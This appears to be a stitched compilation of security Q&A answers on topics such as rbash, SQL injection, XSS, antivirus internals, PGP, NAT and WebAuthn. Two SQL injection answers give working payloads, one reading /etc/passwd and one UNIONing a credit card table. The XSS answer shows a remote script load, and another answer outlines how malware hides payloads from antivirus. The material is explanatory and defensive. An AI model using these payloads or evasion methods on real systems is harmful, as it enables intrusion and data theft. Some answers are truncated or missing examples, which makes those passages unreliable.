The last posting from the developers (January, 2014) is that it is entirely up to the browsers to support it and that we "hope we'll get more progress in 2014".


Why is `cd` restricted in rbash/restricted bash?

By itself, this measure most probably doesn't make a lot of sense, however you have to put it aside the other limitation to understand its role, in particular (quoting the page you linked):

  Specifying command names containing slashes.
  Specifying a filename containing a slash as an argument to the . builtin command.
  Specifying a filename containing a slash as an argument to the -p option to the hash builtin command.

The goal of these limitations is to ensure that you only execute commands whose path belong to the $PATH environment variable, and in case this variable includes the current directory (.) changing the current directory to the one containing the desired binary would allow to circumvent these "slash-based" limitations.

Moreover, preventing the user to change the current directory will also prevent him from mistakenly or maliciously running a command which will have a different behavior depending on the current directory, and in particular depending on the content of the current directory (it is common for some command to seek default configuration or profile files for instance in the current directory). This brings some level of guaranty on the behavior of the command which will be run.


Can I rely on the CSRF cookie to check if a user is authenticated on the client-side?

This is more a web application architecture question than a security one.

Isn't having a JWT token enough to consider the user logged from the client side perspective?

I assume the user authenticate before getting the token, presumably from the successful login response.

When the token expired return an unauthorized response, look for this response on every ajax response (https://github.com/axios/axios#interceptors) and redirect the user to the login page.


What are the dangers of sql injection with php?

Let's remove PHP entirely from the equation for a moment.

SQL injection allows an attacker to manipulate the SQL query to be what he or she wants the query to execute. This can be dumping the contents of the database, modifying data, and even code execution.

The example you provided is indeed vulnerable to SQL injection. For the purposes of demonstration, let me simplify it a little:

mysqli_query($conn, "SELECT trans FROM dictionary WHERE word = '$search'");

Given a value of security, the resulting query would appear like this:

SELECT trans FROM dictionary WHERE word = 'security';

This is innocent and normal. However, given the following, an attacker can obtain the version of MySQL that you are running:

' @@version -- -

This would cause the query to result in the following:

SELECT trans FROM dictionary WHERE word = '' @@version -- - ';

Ultimately, depending on permissions and configuration, an attacker can jump from one database to another in your database server, read files from the filesystem, or execute code. Here is an example of how an attacker can read files from a Linux-based OS:

' LOAD_FILE('/etc/passwd') -- -'

This then would result in the following query:

SELECT trans FROM dictionary WHERE word = '' LOAD_FILE('/etc/passwd') -- -'

There are a couple of things to keep in mind at this point:

Not all SQL injection vulnerabilities are the same
Techniques to read files, execute code, and dump databases will vary widely from language, backend database server, and the circumstances surrounding the vulnerability itself

Regardless, I would highly, highly, highly recommend that an SQL injection vulnerability be fixed through parametrization or whitelisting of user input depending on the needs of the functionality in question.

I started off with removing PHP from the discussion because SQL injection is not language and framework dependent - it impacts any language that allows database connectivity. Regardless of language, user input should be treated with suspicion and handled appropriately.


XSS payload with ten character length restriction

Is carrying out an XSS attack possible?

No, 10 characters is not enough to exploit this. If you want to enter a JavaScript context, at the very minimum, you would need:

1 < to get into a tag context
1+ [a-z] for the tag name
1 space
1+ [a-z] for the attribute (in practice, the shortest event attribute that currently exists is onload, which is 6 characters)
1 =
your payload

That means even in an ideal situation, you only have 5 characters for your payload. Even if something like jQuery is already loaded, loading a remote script takes more characters than that.

In reality, you don't even have 5 characters. The shortest attribute is 6 characters, but onload doesn't work with img without a valid src, so onerror is shorter, giving you  (20 characters). With a body tag, you could reduce this a bit:  (14 characters), which is still too long. And you still need your payload, which will be a minimum of ~25 characters (eg $.getScript('http://x.c')).

This means that in your situation, script tags would actually be shortest. But you would only get to


Limitations of electromagnetic emanations techniques (such as TEMPEST)

The original BBC program, where a Van Eck device was used to screendump CRT screens (high current, high voltage devices) was from at least a hundred meters, with a directional antenna. Yagi I believe. LCD/etc screens are similarly vulnerable, as are keyboards (10-15KHz within 10-15 metres).

There are two things worth noting. Normal cops won't know how to operate this equipment. @Schroeder can perhaps elaborate, I know he is an IT spook. Second, the tempest shielding can be done by anyone. And you can use a spark gap generator to completely f?ck the radio spectrum; everything gets disrupted. But do you really want to do that?

Without having a modern Van Eck device, I will guesstimate that they probably still have a range of ~100-150 metres with a good antenna, and skilled operator.


Do browsers and tools send `SNI` field by default connecting to https endpoints?

All modern browser support SNI and use it by default (there is probably not even a away to switch it off). Current versions of most tools like curl use SNI too by default, but not all. For example with openssl s_client* you explicitly need to specify -servername ...if you want to use SNI and in some programming languages SNI is only used by default if you use higher level HTTP libraries but not if you just use the lower level TLS bindings.

For more information see also SSLLabs: User Agent Capabilities.

* The behavior changed with openssl 1.1.0. From then on SNI is on by default but can be explicitly disabled with -noservername.


Why don't anti-viruses detect encrypted viruses in decryption?

There are a few ways malware could encrypt itself to thwart antivirus detection:

Derive a key from target specific information like hashes of known files, user names, and network shares. Check out Ars Technica's description of Gauss.
Encrypt itself with a random, but relatively short key. When the malware runs, it will have to brute force the key. Many AV sandboxes have a timeout on the amount of time a particular sample can run, if the brute force process takes longer than this timeout, the malicious payload won't be decrypted.
Retrieve the key from the internet. The attacker may host a web server with the key on it. They then could use timing, IP information, or client based parameters to determine if they key should be sent.

Of course, in order to run the encrypted payload, the malware must be decrypted. If it is decrypted, antivirus may detect it, but the malware may detect the AV first.

Finally, the mechanism of having an encrypted payload using host based, random, or network based keys may itself be used as a signature for malware. The AV may not know what the sample would have done, but it could prevent it from running in the first place.


There are two kinds of trust required: trust in the authenticity of others (named signing in OpenPGP) and trust in a kind of "vouching capabilities", so if you trust in signatures somebody else issued (named trust in OpenPGP).

A Trust Example

A simple example can make these categories clearer: there are some people of certain authority in the free software world, consider Linus Torvalds, Richard Stallman, or the PGP "inventor" Phil Zimmermann. Very likely you never met them for key signing, but still you might put trust in their signatures – you read of their qualities, their objectives. If you trust their keys (gpg --edit-key [key-id], then trust), nothing is won yet. Anybody could have uploaded a key with their name. But if you can create some kind of signature and trust chain to one of them, you'd be able to verify all keys they signed. Maybe you once signed a Debian developer who met Torvalds for key exchange?

Public and Private Data

Signatures are public. They're usually referred to if somebody's talking about the (OpenPGP) Web of Trust. You can either download all (publically known) signatures on a given key using gpg --recv-keys [key-id] from some key server, or even fetch a full key server dump (in 2014, about 6GB). keysigning.org lists a few of mirrors.

Trust is maintained locally and not shared on key servers. Whom you trust is much more sensitive. Signing somebody might occur with anybody you met on a conference or wherever, it does not necessarily reveal your social network. Trust would – and a friend of yours might criticize you didn't trust him. You might like him, but is he doing a good job at verifying IDs?


Is it not advisable to add a 2nd level of encryption to an already encrypted external hard drive?

Honestly, I would just use Veracrypt. It is far better than WD's built-in protection, and is less likely to screw everything up. The way you are looking at it is like "Should I let people have 2 million years or 1 million years to crack the encryption?". The answer is it doesn't matter, so just stick with the easiest option.


How to map a network passively with wireshark dumps?

Some background information for context : Some organizations save full-packet captures for their high-security or production networks. There are commercial products which do this too. People definitely do what you are talking about but not always for the reason you mention although that's a good side benefit. Ideally what you want is an optical tap at key (ingress/egress) control points on your network. Then setup tshark (text-based wireshark has slightly better performance) to automatically grab the relevant data you want and save .PCAP info for you to parse. This is frequently done to find APT and malware communications but it has a large number of other uses.

That said, I think one of the reasons people don't do this as a primary means of network discovery is simply because some devices may rarely, or never, communicate via the ingress/egress point so it won't always result in 100% accurate information. What you are talking about is somewhat similar to "Passive Vulnerability Scanning" so you may find other very valuable uses for the data you collect in this process and it would be very effective at mapping all the communications leaving an organization but it does have a few limitations.

In a nutshell I think people don't call it "passive network mapping" and "passive network discovery" (both are great names for what you mentioned) because once you get that data you'd realize you can do so much more with it that you're more likely going to refer to it in the larger sense of what it is which comes back to "Full packet capture". I know these aren't exactly the same, you are talking about just collecting some of that data and using it for mapping but I think that is why its rarely called by the terms you mentioned (answer to your question).

Note: NetFlow data would also be another source to passively collect the data needed for mapping and there are a lot of other ways to do this (switch cam tables also work depending on the network). However on very large networks full-packet capture becomes challenging quickly whereas NetFlow data is a little more compact.


No, loading an HTML file from your computer is never an XSS vulnerability.  You can run whatever code you want locally, but that doesn't affect the website.

Cross-site scripting is about getting your code executed on other user's browsers so you can interact with their session for that site.  Whether that is stealing a session cookie, performing actions, or any other interaction on the site, it has to be on another user.  Running scripts on yourself is rather meaningless, you could do the action yourself!

Always consider: what could I do with this?  If you can't do anything that affects the confidentiality, integrity, or availability of a service, then it's not a security vulnerability.


Is Data Object on openPGP smartcard v2 encrypted?

From what I gather reading some documentation online:

the Truecrypt key is stored on the card inside 'Private Data Object 3'.
According to the PDF documentation of OpenPGP Card v2, private data object 3 is protected using PW1 PIN.
The crypto-stick documentation on #1 states that

  Security Consideration: According to the TrueCrypt manual a 64 character long pass phrase is secure. Therefore the maximal capacity as "private data object 3" of 254 bytes is sufficient. Please note that TrueCrypt doesn't make use of the full security which the Crypto Stick (and smart cards) offer. Instead it stores a keyfile on the Crypto Stick which could be received by a computer virus after the user enters the password.

  I believe that none of the data objects on the card are themselves encrypted. That includes objects such as your keys. However, the card prevents direct access to those objects, and enforces different access conditions. Some objects cannot be read at all (for example, the cardholder private key), some are generally available without a password (e.g. Name, URL) and some are password-protected (like the data object used for Truecrypt), but are retrievable. There are also different passwords for different 'user-levels' and access.

So bottom line, if I understand it correctly from the documentation alone, is that the Truecrypt data object is only protected with the PIN.

Speculation: I think it won't make any practical difference however if it were encrypted. You would still need to decrypt it to provide it to Truecrypt, at which point an attacker can intercept it anyway. This is based on my limited understanding, perhaps mistaken, that Truecrypt in this set-up does not actually perform any encryption/decryption operation on the card, but rather only uses it for key storage.

UPDATE: Most smartcards, and also it seems this card, prevent brute-force attacks and will block access after some failed attempts. This should provide some protection still, e.g. if the smartcard is lost or stolen. However, this might not be sufficient against rogue code that might intercept either the PIN or the TC key after the user inputs the correct PIN.


Long password with compensation of number, alphabet and symbol.
User-names should be unique
Restrict the number of failed login attempts to prevent brute force attack and temporary block the user for verification
Don’t allow error message in case of failure to give use or hacker hint
Credential should transmission in secure connection
Secure the change password functionality
Generation of CAPTCHA Image


Does truncating the cryptographic hash make it impossible to crack?

Definitely not, if anything this practice undermines the hash function making it easier to find a collision during an exhaustive search.  In the sense of a password,  any plain text that produces the same hash value is a valid password.

That being said,  ChromeOS uses a truncated hash of your Google password in their s2k function for the Google disk encryption scheme.  I suspect that this was to make it harder to break your Google password in favor making it easier to find a password that decrypts your disk...  which is kind of unsettling.


No, they do not.

The only systems I know of that do traffic padding to defeat analysis are some mix networks such as Mixminion.  It's a frequently-proposed thing for anonymizing networks such as TOR, but in practice, it's difficult to set up and tends to waste a great deal of bandwidth, increase latency, and constrain the total bandwidth of the network.


I'm not a PHP programmer, but I believe most people use mysql_query() when executing MySQL queries in PHP and this will only allow you to execute one SQL statement at a time.  It is possible to execute multiple statements in PHP, but specific steps need to be taken.

It's possible that whoever wrote this code is using mysql_query which would mean that you will not be able to inject additional SQL Statements.

SQL injection is still possible but on a much more limited level.  For example you can inject sql into the where clause by passing the following value:

test' OR '1'='1

Which would generate the query:

SELECT * FROM usertable WHERE uname='test' OR '1'='1'

You could also append a UNION clause that queries another table and returns results:

test' UNION SELECT * from creditCardTable where uname = 'admin

Which would generate the query:

SELECT * FROM usertable WHERE uname='test'
UNION
SELECT * from creditCardTable where uname = 'admin'

Hope this helps.


What is "tmUnblock.cgi" and can it be exploited by Shellshock? (Linux / Apache webserver)

tmUnblock.cgi is a binary CGI executable in some Cisco/Linksys router firmwares that has multiple security holes that permit various attacks on the router.  It is unrelated to the "shellshock" vulnerability.

Unless your "small webserver" is somehow running on a Cisco/Linksys router with stock firmware, the log entries are nothing to worry about.


A XSS has only read-access to the cookies on the specific page and only to cookies which are not set httponly. Thus only these cookies can be stolen.
But a XSS can do more than just steal cookies: it can use the page as a base to send requests to other sites. In this case the browser might automatically send the cookies from the target site to the target site. This allows the XSS to impersonate the user against the target site. Details depend on attributes of the cookie (like samesite) and kind if request (simple vs. non-simple XHR).


How to use WinObj for detecting security issues?

Actually this is a debugging tool so to find security flaws, you'll need to know reverse engineering, assembly, C, C++ really well. Just using the tool and not having required skills will not help you find security issues.

In other words, WinObj allows you to visualise the Windows Object namespace, which is otherwise hard to see. Therefore any security problems which create or alter objects in the namespace become easier to find.


Threat Model for a third party messaging application for an organisation

Looking at your tag, are you searching for application threat modeling?

One great place to start would be at OWASP, they have the following guides and some templates to illustrate threat models.

For myself, i'm referencing both OWASP and SANS articles. Here a link to OWASP.

OWASP Application Threat Modeling

OWASP Threat Risk Modeling

SANS has their own threat modeling article as well, you can easily search for it in google.

SANS Application Threat Modeling


Using unencrypted parts of encrypted file to recover password (7zip)

You're looking for a known-plaintext attack. Usually (e.g. you're up against a high-quality algorithm), this is hopeless.

For example, there are some known-plaintext attacks on AES which are slightly faster than brute-forcing the key. However, this is pointless because you'd still wait gazillions of years before you identified the key.

Older ZIP versions, however, are known for notoriously weak encryption. So it might be that the encryption algorithm used to encrypt your zip is vulnerable. You'd need to find out which algorithm was used exactly in order to get a meaningful answer.


How to detect file uploads from our network?

If web browsers are your main concern, the 'simple' answer would seem to be setting up a proxy (e.g. squid) with SSL interception. And informing your users you are doing this.

But that (as others have pointed out) doesn't buy you all that much, beyond opening up the door to more possibilities.

With Squid alone, you would get the source, destination site/URL, and size/mime-type of the upload (and most likely, source code will be exfiltrated as a compressed archive, so the mime-type seems unlikely to be all that useful).

You can enable ICAP in Squid to offload deeper inspection to something else, but I couldn't find an open-source DLP solution that supports ICAP - there are commercial ones.
It is possible to use ClamAV via ICAP, so possibly you could write some signatures in Clam to try and help with your use case.

Fundamentally, though, this is unlikely to really guard against people exfiltrating data (it is a matter of how determined/clever they would need to be, and I can't think of much that really raises that bar).
It may be better to mandate a working environment that limits the opportunities to exfiltrate in the first place (e.g. use something akin to a bastion host/jumphost on which source code can be accessed and worked on, but hopefully not downloaded - copying may be difficult to prevent).


Telegram: Security risks for a user of using third-party socks5 proxy?

The biggest security concern for most communication system is third party abilities to sniff / intercept and decode/tampered the message. Such attack are called "Man-in-the-middle attacks" (MiTM). There are many approach to protect the message when sending from the peer to the destination and vice-versa.

For example, under HTTPS protocol, the client program will download a public certificate from the server before initiate further application communication, then it will use the downloaded server public key and encrypt the message. However, a MiTM can hijack the connection and pretend to be the server and issue its fake certificate to tricks the user. So this lead to implementation of HPKP and HSTS to "patch" the problem. Those mechanism is called a "patch" because it is based on "Trust On First Use" (TOFU).

On the other hand, messaging system such as Telegram is embedding server public certificate inside the client. This mitigate the risk of the middle-man abilities to read the message from the spoof the connection. Without the server private key. This is mentioned under Telegram FAQ on MiTM.

In short, if the user are not using a tempered Telegram client, the message are pretty safe (under current CPU power and no sudden leap on cracking on the said encryption key strength).


Is it OK to tell your password to your company's sysadmin?

Short answer:

ABSOLUTELY NOT!
Your password is between you, and your computer alone.
No one else.

Not your boss, his boss, the system administrator, your bank official, your insurance agent, your ISP support technician, or your cat. Well, your cat you can tell, if she promises not to share it.

There is NEVER a good reason to share a password.
There are many reasons NOT to.  Mostly, because a password is YOUR authentication, and as soon as even ONE other person knows it, it can no longer prove your identity.

Any reason your admin comes up with, is bogus, either because he is malicious, lazy, misinformed, or incompetent.
That said, it may not be his fault, but the fault of his organization.
Either way, there is incompetence, ignorance and laziness abound.

If an admin, or ANY support technician asks for your password, the correct response is to LAUGH.
Because there's no way they're  serious, right?

If your admin insists - explain to him that you will document sharing your password with him... and that, based on this, you are going to send nasty emails to all around - not about him, but you will claim that they came from him (using your account, in your name, using your password that you just shared with him). Of course he won't be able to prove that he didn't misuse your password... which is the point.

No, on second thought, just don't give him your password. It's yours, between you and the computer alone.


Does marketing data trigger HIPAA Privacy?

You're walking into murky territory in that A/V content (such as a recorded or transcribed phone call) is wide open, so if I were in your shoes I'd apply stringent security/protocols to your CRM.  If you record a phone call that starts with "Hi my name is [name] and I just contracted [disease] and will be undergoing [procedure]"...you've just captured and housed a LOT of PHI. Perhaps an end-run here (if applicable) would be to disclaim prior to capturing the phone call: "please do not talk about personal or confidential health matters" (kinda like the placards you might see in hospital elevators).

Your affiliation with customers who are HIPAA covered entities (if you end up transacting with PHI/PII) will make you a "business associate" (http://www.hhs.gov/ocr/privacy/hipaa/understanding/coveredentities/businessassociates.html).  Read about the contractual needs there between you and the covered entities.

Lastly, do your homework to make sure the access/info you provide is TRULY anonymous if it need be so.  Phone numbers, IP Addresses, etc., are examples of PII (personally identifiable information) under HIPAA.  NIST Guidance on PII: http://csrc.nist.gov/publications/nistpubs/800-122/sp800-122.pdf (e.g. search for 'phone number').  Remember, though, if you are a business associate of a covered entity, you're allowed to exchange and/or use PHI under pre-defined rationale.

I don't think this is a complete answer, but here's some thoughts & links based on what you've described/asked that I believe should help.


sanitizing likes/unlikes in application?

Sanitation is trivial,  as this variable can only be two values. You could make it an integer,  and have a value of 1 for an up-vote and a value of -1 for a down vote,  no other value is valid.  Of course all security based validation must always be done server side.
But that is the least of your security concerns.   The real concern is forcing other to vote on an attacker's behalf. This can happen a number of ways. An attacker could make a clickjacking  game where by each time the user clicks to fire a rocket at some kind of space invader they are in fact clicking on an invisible iframe which is firing a new vote at your system.
An even more virulent attack would be to use Cross-Site Request Forgery (CSRF) to fire off these requests en-mass when one of your users visits an attackers website.  The CSRF Prevention Cheat Sheet is a good resource.
Almost all Anti-CSRF measures are defeated by XSS,  so make sure your entire website is immune to this attack. The Sammy Worm used XSS to defeat MySpace's Anti-CSRF token.
Also,  don't forget about automatic account creation, make sure your users have to solve a strong captcha like Recaptcha before they can make an account.  Email verification is trivial to automate and I don't believe its a real security measure.  If they have too many failed logins they should also be prompted with a captcha.


After generating the revocations and new keys upload it to the sks network
gpg --keyserver pool.sks-keyservers.net --send-key 0xDEADBEEF.  Once that is done you can delete the old subkeys from your copies of your key if you want.

Nothing happens automatically but they will then be able to download an updated copy of your key from with revoked subkeys and new subkeys from the keyservers.  You might want to set an expiry date on your key to force people to update your key on a regular basis.  You can update the expiry date and reupload the key before it expires.

You can also e-mail people you know have a copy of your key suggesting they update it from the keyservers.

As long as you upload the revoked keys before deleting them they should propogate through the keyserver network


SSL Certificate - Renewal vs. Requesting New

If may.

Renewal can be cheaper.
If the renewal mean keeping the same private key it may impact your key management (HPKP for example)


What is the correct terminology for enforcing access control by means of cryptography, or on a privileged list?

In your first example, you're talking about a kind of rule-based access control, though it's generally considered poor practice to offer sensitive data just for the asking, even if it is encrypted.

Your second example is discretionary access control. Windows AD permissions are another example of this.


If the transport security between the User Agent and the Authenticator is broken there are some (debatably minor) issues:

The AppID is disclosed when you log into a site (this is usually the domain of the site)
If the attacker is nearby and knows your password he might be able to submit the token's signature of the website's challenge before you (depending on the server's implementation this might also require him to know your session cookie, which seems unlikely)
An attacker might be able to submit his own challenges to your token, which if timed properly (i.e. right before you submit your own challenge) could allow him to log in (again assuming he knows your password)


You are absolutely not over-analyzing. What they are doing is not secure. The reason doesn't have only to do with the fact that they're using MD5. It is rather that so called "keyed hashes" (which is basically what you describe) are not considered secure. The alternative method is HMAC. See the description on wikipedia. The flaw I'm referring to above is described in the paragraph "design principles".


Did I participate in the recent DDoS attacks on Dyn's DNS service?

Knowing after the fact can be a bit difficult if you are not actively monitoring your network traffic.  But there are some things you can do now to determine if you were at risk of being a participant and to mitigate against future participation.

As has been mentioned in a number of places, if your WAN router/bridge/cablemodem/firewall has uPnP turned on, you've definitely opened up your local network to risk.  You should turn this off.

For your various devices, if you've left the default administrator password set, you've left yourself open.  Change this.

Make sure the firmware on your devices is up to date and expect further updates to come out in the near future.

If you have devices that don't need to communicate on the Internet to "call home," then block them from doing such things; don't give them a default route, add firewall rules, etc.

By most accounts, CCTV (e.g. web cams) were the primary devices infected and utilized.  If you have such a device and a list of know offenders can be found here (https://krebsonsecurity.com/2016/10/who-makes-the-iot-things-under-attack/), you might consider taking some action.


Real time Anti-virus communication with API hooks

I am oddly qualified to answer your questions, because I wrote a toy AV as my final year project in university. Mine used a kernel driver for process and thread creation notifications, but the majority of the work was done by a userspace service running as SYSTEM.

The first conclusion is that the AV must use some form of Inter-Process Communication (IPC) between its hook (in the remote process app.exe) and its own process/service.
How does it happen in "real world" products? [There are many IPC options, each with its own pros & cons... of course there are many "clients" --- many processes to monitor at the same time in the system]

There are a few approaches here. The two main ones are named pipes, or sections and events. In the case of pipes, your AV service can open a named pipe server and each process opens a handle to it so that it can send messages to it. This allows all messages to come in over a pipe and the server can process them all in one place. The one downside is that pipes can be a bit finnicky and stream-based message parsing can get a bit complicated.
The other way to go is to have a shared memory section (using CreateFileMapping, MapViewOfFile and associated APIs). These APIs are often used to map a filesystem file into virtual memory, but you can also created a named section that is backed by physical memory rather than a file on disk. You can then use a named event (e.g. with the CreateEvent API) and use that to signal (via SetEvent) that the service should read the section because a new message is ready. The service can then use ResetEvent to clear the event.  Both processes can use WaitForSingleObject to handle synchronisation. The benefit here is that you get multi-threading support, and the message parsing is easier. The more complicated aspect is that you need a section and an event for each process that the hook is injected into, and those names need to be unique. The way I approached this was to have each named object to be something along the lines of AV_sharemem_proc%d formatted with the process ID. The service could then enumerate processes (or, in my case, use the process creation events from the driver) in order to try to open these sections and events.

How does it affect the performance of a system with real-time protection enabled?
I mean, once a hook is triggered, app.exe's code must be suspended, and the results from the AV's "brain" must be received, dictating if a normal execution of app.exe should continue or not.

Yes, it affects performance. You get a context switch to the service process every time an API call has to be monitored. This can introduce latency while the thread scheduler goes through and gives each process its timeslice, although the scheduler is usually smart enough to switch context directly to a waiting process when a synchronisation event occurs. You can improve latency by setting the service process priority to high so that it more frequently gets given execution time. Don't use realtime priority though, as it is very liable to cause system instability.

Is the communication safe? (encrypted? Can a virus 'fake' AV's internal messages? etc.)

All AVs have to assume IPC may be compromised in some limited way, but a usermode hooking model is inherently not secure. Malware that expects your particular AV to be installed can simply break your injected hook, or take over it and send back "everything's ok". This is why most AVs have a driver; that way they can keep the hooking and monitoring stuff out of the process, where malware has complete control. The driver can also process some of the hooking stuff in the kernel without having to bounce each event back to the usermode service, which improves performance a lot.

Of course a sophisticated AV should maintain a 'State' of execution during run-time of app.exe, and make actions based on the State. E.g. ransomware being 'caught' by the use of these APIs in a loop: file access, crypto, write. So each API is benign on its own, but the combination (maintained State) is malicious.
How a real-time AV can stop a running program like this using simple user-space hooks? (Since it got its running "time share", in the remote app.exe only during API hooks... there isn't a different thread in the context of the remote process for the purpose of communication with the other AV processes, isn't it?)

This is mostly an implementation detail, but you need thread-safe hooks in the first place because the process might be making multiple calls across different threads at once. The way I'd approach it is to have a queue that contains each of the API calls that need to be sent via IPC to the service, then use an SRW lock so that the queue can be peeked by multiple threads but only written to (or dequeued) by one thread at once. Then you can have a dedicated thread for monitoring the queue and dequeuing items to send via IPC to the service. Since the scheduler operates on threads not processes it leads to less blocking than trying to do everything in a single thread.

Please answer my question and perhaps elaborate more on the subjects. Thank you! :-)

Make sure you set an appropriate DACL on system objects like pipes, sections, events, mutexes, SRWs, etc. - for global objects in your model (e.g. a pipe server on your service) you'll want to set it to allow read/write/synchronise for users, and full control by SYSTEM. For per-process stuff you should set the DACL to only allow access from the process' user context (i.e. the user that the process is running as) and SYSTEM. If you fail to do this, you'll end up with potential cross-user interference. If you end up adding a driver, you should definitely set a restrictive DACL that only allows SYSTEM to open handles to the driver object and any IPC objects used.
Using a driver is very similar to the IPC scenario I already described, except you generally send messages to the driver using IOCTLs or by performing other operations on the driver object.
While it's a bit outdated (focused on Windows Vista) I do strongly recommend having a read of Bill Blunden's book "The Rootkit Arsenal", as it covers a lot of the techniques you would use when writing usermode and kernel hooks.


How does Network Address Translation (NAT) increase firewall effectiveness

I'm not a network person, this answer could probably suffer a lot of (incl. terminology) improvements! Feel free to edit/comment.

NAT is not a security feature originally, but in practice it does implement a form of port blocking which has proved very useful for OSes that are shipped with many open ports and contained implementation mistakes (hi there Windows Vista SMB exploit). NAT is not a security feature. It's designed to permit reuse of IP addresses in order to increase the scalability of networks.

If your home computer is shipped to you by default with open ports for file sharing on the local network, then it having a unique IP address assigned by your ISP allows any script-kiddy or robot to send packets on those ports.

On the other hand, the home computer connected to a NAT-using home router to contact the Internet cannot receive data from arbitrary machines on the Internet. It can be contacted by other machines on the LAN and by servers when there is a NAT traversal rule set up. This happens:

when you initiate a connection to an Internet server, in which case the router will modify the IP in your packet to its own public IP and the port you used to a randomly allocated port. It'll then transfer the traffic receiving on that port to your machine
when you use NAT traversal protocols (e.g. UPnP) to create such a traversing port on-the-fly so that other Internet clients can contact you. This is used in P2P apps of all kinds. Some routers are configured to let local machines create temporary traversal rules on the fly, others are not
when you manually configure your router to permanently forward incoming packets on a specific port to a local machine; usually because you have a server running which you want to be accessible


Which party stores the link between user and device in WebAuthn?

An authenticator can optionally store a User Handle specified by the Relying Party when a new credential is created, however for backwards compatibility with U2F authenticators the User Handle is also allowed to be null. Regardless, the Relying Party still needs to know which credentials are associated with each user, so that it can verify the credential used is actually owned by that user, and not someone else:

  Identify the user being authenticated and verify that this user is the owner of the public key credential source credentialSource identified by credential.id:

  If the user was identified before the authentication ceremony was initiated,
  verify that the identified user is the owner of credentialSource. If credential.response.userHandle is present, verify that this value identifies the same user as was previously identified.
  If the user was not identified before the authentication ceremony was initiated,
  verify that credential.response.userHandle is present, and that the user identified by this value is the owner of credentialSource.

So to answer your question, the Relying Party must associate credentials with users, and authenticators may associate credentials with users.

Due to the possibility of lost authenticators:

  Relying Parties SHOULD allow and encourage users to register multiple credentials to the same account.


The vSECR Team has been actively investigating CVE-2014-6271 aka “Shell Shock” and its impact on their products. Currently VMware has determined that ESXi is not affected and neither are Windows based products including vCenter for Windows. Investigation into other products is ongoing.

For now you are probably safe, but stay tuned! Check http://www.vmware.com/company/news/releases often


Need help with searching a file in mutillidae webserver

I don't have permission to comment yet so I'll have to add this as an answer.

You can try using the command net use and net view to see what
the server is currently accessing over the network.
You could go to start->run->compmgmt.msc then look at Shared Folders and see if anything is currently open on a different server from the current server you're on. (thanks Iszi for the shorter path to shares)
Another kind of odd possibility is that the file confidential.txt is stored in an Alternate Data Stream in which case you can use Sysinternals Streams to search for existing streams.

It's hard to help in this situation because there could be any number of different things used to hide the file; there could even be a "rootkit" like system driver installed to hide files from user view but depending on the level of the challenge, that might not be the case.


Options for simple phone verification with pin delivery

Twilio has an API that would allow you to do something like this. We use Twilio to send SMS-based PINs to customers as a method of two-factor authentication, and so far it's worked perfectly. I'd consider this a "NA-based self-service" option :)


What's a good encryption method available for external hdd's, ext4?

If this is a disk that you will only use on Linux systems, as seems implied by your use of ext4, I would recommend you to simply use LUKS as the format below your ext4 partition.

It is well-supported by every distro, usually you don't need any extra package, and it even mounts automatically (after requesting the encryption key, obviously) from the Desktop environment.

VeraCrypt supports hidden volumes which LUKS doesn't (in case you want to place a decoy filesystem there), so you might prefer that if that's an important feature for you (it probably isn't relevant). It has supports multiple OS, so would be interesting for a disk that you were to share with a Windows computer, but it's not the case either.

(Being a fork of TrueCrypt, some people may consider that it could have inherited a hidden vulnerability that allowed to decrypt its contents, but I find that unlikely, specially given that they are now using a different format than TrueCrypt did)

Both LUKS and VeraCrypt are Full Disk Encrpytion solutions (FDE) and would provide strong security that would be roughly equivalent (assuming the use of a secure passphrase).

A tool you did not mention, encfs is a fuse solution that encrypts single files over an existing filesystem. It is handy for example if you want to add some encrypted files on an already-formatted filesystem, or if you don't have rights to format the disk and place a new filesystem there, including the case where the files are actually in a different machine (such as a cloud provider), but this results in a weaker encryption. A security audit some years back found a number of issues on the resulting file storage (mostly the result of compromises due to encrypting files individually).

Finally, eCryptfs is another filesystem that works file-by-file. In this case, it is a native Linux filesystem rather than a FUSE module, and may the file format is different (the files themselves are independent, without needinbg a encfs.xml config file) and seems to be stronger (I haven't studied it).

Yet, these approaches will leak metadata. An attacker that had repeated access to the disk would be able to infer information based on the sizes of the files, file modification, etc.

For an external hdd you should be using FDE, which doesn't suffer this problem. As the disk is encrypted as a whole, the metadata that could be leaked is minimal.¹

¹ Not exactly zero, as an attacker which could make a copy of the disk at multiple times could see which blocks changed, and maybe even make some guesses if they are filesystem metadata or actual files, based on location of the blocks on the disk. An encryption storage that uses files needs to leak several orders of magnitude more information.


How to mitigate the risk of a continuous integration service security breach?

It sounds like you are mostly moving the problem around.  The CI server used to have the credentials to push new installs to the Heroku server, now it's the deploy server.

So the big question from me is - what is the difference in security between the CI service and the deploy server?  Is one hosted externally?  Is there a reason you trust one more than the other.  It's the credentials that give access to the Heroku server that give the most risk.

In the NEW framework, I'd ask these questions:

What is the likelihood that code could be tampered with on the Git server?
Is there a possibility for an illegitimate "ping" to the deploy server to cause problems?  The race condition @roxOr mentions is one case.  There's also the thought that if a CI server is tampered with, it could be triggered to send a ping that induces your deployment server to put non-working code on the Heroku server.  Or... what is the level of authentication required on this ping?  Can it be sent from anywhere by anyone?  Then the attacker does not need to attack the CI server to trigger a bad deployment.
is there a chance that the deploy server can be hacked?  that is now your big asset - it can get your intellectual property (the code) and deploy whatever malware it likes.  So it needs the most stringent protection.
Is there a way for an outside agent to get the credentials used to access the Heroku and access it directly?  In which case it doesn't matter how you deploy code, the attacker can push code however he likes.
Is there a chance that networking can be tampered with - a very good hack would be to force the deploy server to be redirected from the legitmate git hub site to a source of the attacker's choosing.  Then when a legitimate ping is recieved from the CI server, the deployment server deploys attacker-made code instead of the tested code.

No system is ever "perfect", so the big question usually comes down to what kind of an attacker do you expect, and what do you think their motive might be.  Disgruntled employees, corporate espionage, random punks and cybercriminals looking to use your site as a malware host will each have their own goals and each one will have different capabilities.  It helps to ponder what you want to protect against before you update your architecture.


Can Google Chrome read/scan my ProtonMail inbox page?

Should I then use Chrome or another browser to check my inbox?

The problem is probably less the browser since this browser is used by lots of others and such behavior might be detected. More of a problem are likely browser extensions you have installed, malware injected into the browser or any software which does SSL interception. SSL interception is done by various antivirus software, ad-injection software like superfish or by several corporate firewalls. It can also be done by malware.


A SIM module-based security system and radio signal interruptions

Radio signals are public and prone to a number of issues. Not just the complex simulators you ask about, but a $10 home-made signal blocker can prevent your system from transmitting (or even a 30 yr old microwave).

The way to avoid this is to have a wired backup line or a detection process to detect signal interruptions.

A heartbeat signal to a monitoring process would alert you if the system failed or was blocked from transmitting. You then need to devise a response function for when the heartbeats stop coming in, but that's the general design pattern for this problem.


Authenticate limited client devices from server without login process

